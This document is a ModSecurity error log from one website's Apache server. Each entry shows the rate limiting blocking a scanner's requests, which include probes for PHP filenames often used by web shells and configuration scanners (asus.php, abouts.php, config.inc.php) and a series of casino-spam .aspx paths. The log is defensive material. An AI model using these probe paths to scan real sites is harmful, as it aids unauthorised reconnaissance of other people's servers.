[Sat Apr 25 05:05:13.833443 2026] [:error] [pid 46083:tid 46098] [client 20.251.112.6:6142] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/config.inc.php"] [unique_id "aevbCTxw_Zq74vWdjmkQOAAAAQs"]
[Sat Apr 25 05:05:14.355065 2026] [:error] [pid 44320:tid 44379] [client 20.251.112.6:6098] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/config.inc.php"] [unique_id "aevbCjmFqSpku_dij8hlwAAAAFc"]
[Sat Apr 25 05:05:14.885305 2026] [:error] [pid 44320:tid 44364] [client 20.251.112.6:5964] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/config.inc.php"] [unique_id "aevbCjmFqSpku_dij8hlwQAAAEg"]
[Sat Apr 25 05:05:15.409322 2026] [:error] [pid 44321:tid 44399] [client 20.251.112.6:6038] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/config.inc.php"] [unique_id "aevbC41b5lV-asWa_Y4XVgAAAJA"]
[Sat Apr 25 05:05:15.928545 2026] [:error] [pid 44425:tid 44436] [client 20.251.112.6:6132] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/phpversion.php"] [unique_id "aevbCyUl-VlItvY2tR_sQAAAAMk"]
[Sat Apr 25 05:05:16.447769 2026] [:error] [pid 44425:tid 44450] [client 20.251.112.6:6008] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/phpversion.php"] [unique_id "aevbDCUl-VlItvY2tR_sQgAAANc"]
[Sat Apr 25 05:05:16.967713 2026] [:error] [pid 44321:tid 44393] [client 20.251.112.6:6059] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/phpversion.php"] [unique_id "aevbDI1b5lV-asWa_Y4XVwAAAIo"]
[Sat Apr 25 05:05:17.487325 2026] [:error] [pid 44321:tid 44401] [client 20.251.112.6:6046] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/phpversion.php"] [unique_id "aevbDY1b5lV-asWa_Y4XWQAAAJI"]
[Sat Apr 25 05:05:18.007833 2026] [:error] [pid 44425:tid 44447] [client 20.251.112.6:6143] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/asus.php"] [unique_id "aevbDiUl-VlItvY2tR_sRwAAANQ"]
[Sat Apr 25 05:05:18.529722 2026] [:error] [pid 44321:tid 44389] [client 20.251.112.6:5968] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/asus.php"] [unique_id "aevbDo1b5lV-asWa_Y4XWgAAAIY"]
[Sat Apr 25 05:05:19.054774 2026] [:error] [pid 44321:tid 44392] [client 20.251.112.6:5953] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/asus.php"] [unique_id "aevbD41b5lV-asWa_Y4XXAAAAIk"]
[Sat Apr 25 05:05:19.577966 2026] [:error] [pid 44321:tid 44385] [client 20.251.112.6:6053] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/asus.php"] [unique_id "aevbD41b5lV-asWa_Y4XXwAAAII"]
[Sat Apr 25 05:05:20.118962 2026] [:error] [pid 44320:tid 44366] [client 20.251.112.6:6084] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/php_version.php"] [unique_id "aevbEDmFqSpku_dij8hlxgAAAEo"]
[Sat Apr 25 05:05:20.637178 2026] [:error] [pid 44319:tid 44330] [client 20.251.112.6:5972] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/php_version.php"] [unique_id "aevbEMzJPAVLUb2pWtJEvAAAAAE"]
[Sat Apr 25 05:05:21.198001 2026] [:error] [pid 46083:tid 46087] [client 20.251.112.6:6102] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/php_version.php"] [unique_id "aevbETxw_Zq74vWdjmkQQwAAAQA"]
[Sat Apr 25 05:05:21.720624 2026] [:error] [pid 44425:tid 44444] [client 20.251.112.6:6070] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/php_version.php"] [unique_id "aevbESUl-VlItvY2tR_sSwAAANE"]
[Sat Apr 25 05:05:22.278411 2026] [:error] [pid 46083:tid 46110] [client 20.251.112.6:5984] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abouts.php"] [unique_id "aevbEjxw_Zq74vWdjmkQRQAAARY"]
[Sat Apr 25 05:05:22.798232 2026] [:error] [pid 44321:tid 44403] [client 20.251.112.6:5959] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abouts.php"] [unique_id "aevbEo1b5lV-asWa_Y4XYQAAAJQ"]
[Sat Apr 25 05:05:23.445940 2026] [:error] [pid 44320:tid 44358] [client 20.251.112.6:6006] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abouts.php"] [unique_id "aevbEzmFqSpku_dij8hlyAAAAEI"]
[Sat Apr 25 05:05:23.969073 2026] [:error] [pid 44320:tid 44365] [client 20.251.112.6:6043] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abouts.php"] [unique_id "aevbEzmFqSpku_dij8hlygAAAEk"]
[Sat Apr 25 05:20:08.663162 2026] [:error] [pid 44320:tid 44377] [client 62.84.185.60:47352] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/demon%20slot%20game.aspx"] [unique_id "aeveiDmFqSpku_dij8ho3wAAAFU"]
[Sat Apr 25 05:20:11.446422 2026] [:error] [pid 46083:tid 46099] [client 62.84.185.60:47360] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dg%20casino.aspx"] [unique_id "aeveizxw_Zq74vWdjmkXEwAAAQw"]
[Sat Apr 25 05:20:14.372224 2026] [:error] [pid 44425:tid 44429] [client 62.84.185.60:57144] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "aevejiUl-VlItvY2tR_w_wAAAMI"]
[Sat Apr 25 05:20:16.952485 2026] [:error] [pid 44319:tid 44341] [client 62.84.185.60:57146] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aevekMzJPAVLUb2pWtJHEgAAAAw"]
[Sat Apr 25 05:20:19.881591 2026] [:error] [pid 44425:tid 44431] [client 62.84.185.60:57162] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aevekyUl-VlItvY2tR_xBAAAAMQ"]
[Sat Apr 25 05:20:22.475978 2026] [:error] [pid 44320:tid 44368] [client 62.84.185.60:63162] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "aeveljmFqSpku_dij8ho5AAAAEw"]
[Sat Apr 25 05:20:24.980574 2026] [:error] [pid 46083:tid 46103] [client 62.84.185.60:63168] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/h25%20com.aspx"] [unique_id "aevemDxw_Zq74vWdjmkXQwAAARA"]
[Sat Apr 25 05:20:27.685787 2026] [:error] [pid 46083:tid 46093] [client 62.84.185.60:63174] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jili%20slot.aspx"] [unique_id "aevemzxw_Zq74vWdjmkXRAAAAQY"]
[Sat Apr 25 05:20:30.514466 2026] [:error] [pid 44320:tid 44362] [client 62.84.185.60:63176] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/joker%20slot.aspx"] [unique_id "aevenjmFqSpku_dij8ho6wAAAEY"]
[Sat Apr 25 05:20:33.254700 2026] [:error] [pid 44320:tid 44375] [client 62.84.185.60:54272] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/joker%20vip.aspx"] [unique_id "aeveoTmFqSpku_dij8ho7wAAAFM"]
[Sat Apr 25 05:20:35.888354 2026] [:error] [pid 44321:tid 44398] [client 62.84.185.60:54282] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "aeveo41b5lV-asWa_Y4bVAAAAI8"]
[Sat Apr 25 05:20:38.693085 2026] [:error] [pid 46083:tid 46110] [client 62.84.185.60:54286] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lava%20slot.aspx"] [unique_id "aevepjxw_Zq74vWdjmkXUQAAARY"]
[Sat Apr 25 05:20:41.602311 2026] [:error] [pid 46083:tid 46104] [client 62.84.185.60:54294] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mega%20slot.aspx"] [unique_id "aeveqTxw_Zq74vWdjmkXVwAAARE"]
[Sat Apr 25 05:20:44.384238 2026] [:error] [pid 44425:tid 44435] [client 62.84.185.60:33104] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/metal%20slot.aspx"] [unique_id "aeverCUl-VlItvY2tR_xIgAAAMg"]
[Sat Apr 25 05:20:47.149002 2026] [:error] [pid 46083:tid 46087] [client 62.84.185.60:33114] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20168.aspx"] [unique_id "aeverzxw_Zq74vWdjmkXXQAAAQA"]
[Sat Apr 25 05:20:49.708500 2026] [:error] [pid 46083:tid 46091] [client 62.84.185.60:33120] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20auto.aspx"] [unique_id "aevesTxw_Zq74vWdjmkXYQAAAQQ"]
[Sat Apr 25 05:20:52.240831 2026] [:error] [pid 44321:tid 44393] [client 62.84.185.60:33920] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20betflik.aspx"] [unique_id "aevetI1b5lV-asWa_Y4bXAAAAIo"]
[Sat Apr 25 05:20:54.740449 2026] [:error] [pid 46083:tid 46090] [client 62.84.185.60:33928] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "aevetjxw_Zq74vWdjmkXdQAAAQM"]
[Sat Apr 25 05:20:57.345880 2026] [:error] [pid 44425:tid 44430] [client 62.84.185.60:33934] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20game.aspx"] [unique_id "aeveuSUl-VlItvY2tR_xLQAAAMM"]
[Sat Apr 25 05:20:59.978676 2026] [:error] [pid 46083:tid 46109] [client 62.84.185.60:33950] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "aeveuzxw_Zq74vWdjmkXfAAAARU"]
[Sat Apr 25 05:21:02.552084 2026] [:error] [pid 46083:tid 46095] [client 62.84.185.60:30328] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker.aspx"] [unique_id "aevevjxw_Zq74vWdjmkXfwAAAQg"]
[Sat Apr 25 05:21:34.944601 2026] [:error] [pid 44320:tid 44367] [client 62.84.185.60:47560] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot.aspx"] [unique_id "aeve3jmFqSpku_dij8hpHQAAAEs"]
[Sat Apr 25 05:21:37.595217 2026] [:error] [pid 44425:tid 44431] [client 62.84.185.60:47562] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "aeve4SUl-VlItvY2tR_xUwAAAMQ"]
[Sat Apr 25 05:21:40.448679 2026] [:error] [pid 46083:tid 46087] [client 62.84.185.60:47566] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "aeve5Dxw_Zq74vWdjmkYBQAAAQA"]
[Sat Apr 25 05:21:43.320027 2026] [:error] [pid 44319:tid 44346] [client 62.84.185.60:15828] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20soft.aspx"] [unique_id "aeve58zJPAVLUb2pWtJHSgAAABE"]
[Sat Apr 25 05:21:46.185980 2026] [:error] [pid 46083:tid 46101] [client 62.84.185.60:15844] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20th.aspx"] [unique_id "aeve6jxw_Zq74vWdjmkYFAAAAQ4"]
[Sat Apr 25 05:39:14.361046 2026] [:error] [pid 44319:tid 44334] [client 217.182.195.176:50078] [client 217.182.195.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "aevjAszJPAVLUb2pWtJLGQAAAAU"]
[Sat Apr 25 05:39:17.067761 2026] [:error] [pid 46083:tid 46090] [client 217.182.195.176:50076] [client 217.182.195.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/auto%20slot.aspx"] [unique_id "aevjBTxw_Zq74vWdjmkgXgAAAQM"]
[Sat Apr 25 05:39:19.705610 2026] [:error] [pid 44319:tid 44330] [client 217.182.195.176:50080] [client 217.182.195.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "aevjB8zJPAVLUb2pWtJLIgAAAAE"]
[Sat Apr 25 05:39:22.148401 2026] [:error] [pid 44425:tid 44442] [client 217.182.195.176:50096] [client 217.182.195.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20co.aspx"] [unique_id "aevjCiUl-VlItvY2tR_5AgAAAM8"]
[Sat Apr 25 05:39:24.642731 2026] [:error] [pid 44425:tid 44432] [client 217.182.195.176:50104] [client 217.182.195.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "aevjDCUl-VlItvY2tR_5BwAAAMU"]
[Sat Apr 25 05:39:27.348450 2026] [:error] [pid 46083:tid 46101] [client 217.182.195.176:42166] [client 217.182.195.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20original.aspx"] [unique_id "aevjDzxw_Zq74vWdjmkgYwAAAQ4"]
[Sat Apr 25 05:39:29.862034 2026] [:error] [pid 44425:tid 44435] [client 217.182.195.176:42182] [client 217.182.195.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "aevjESUl-VlItvY2tR_5DgAAAMg"]
[Sat Apr 25 05:39:32.457580 2026] [:error] [pid 46083:tid 46099] [client 217.182.195.176:42186] [client 217.182.195.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "aevjFDxw_Zq74vWdjmkgcwAAAQw"]
[Sat Apr 25 05:39:35.244836 2026] [:error] [pid 44319:tid 44329] [client 217.182.195.176:42198] [client 217.182.195.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "aevjF8zJPAVLUb2pWtJLKwAAAAA"]
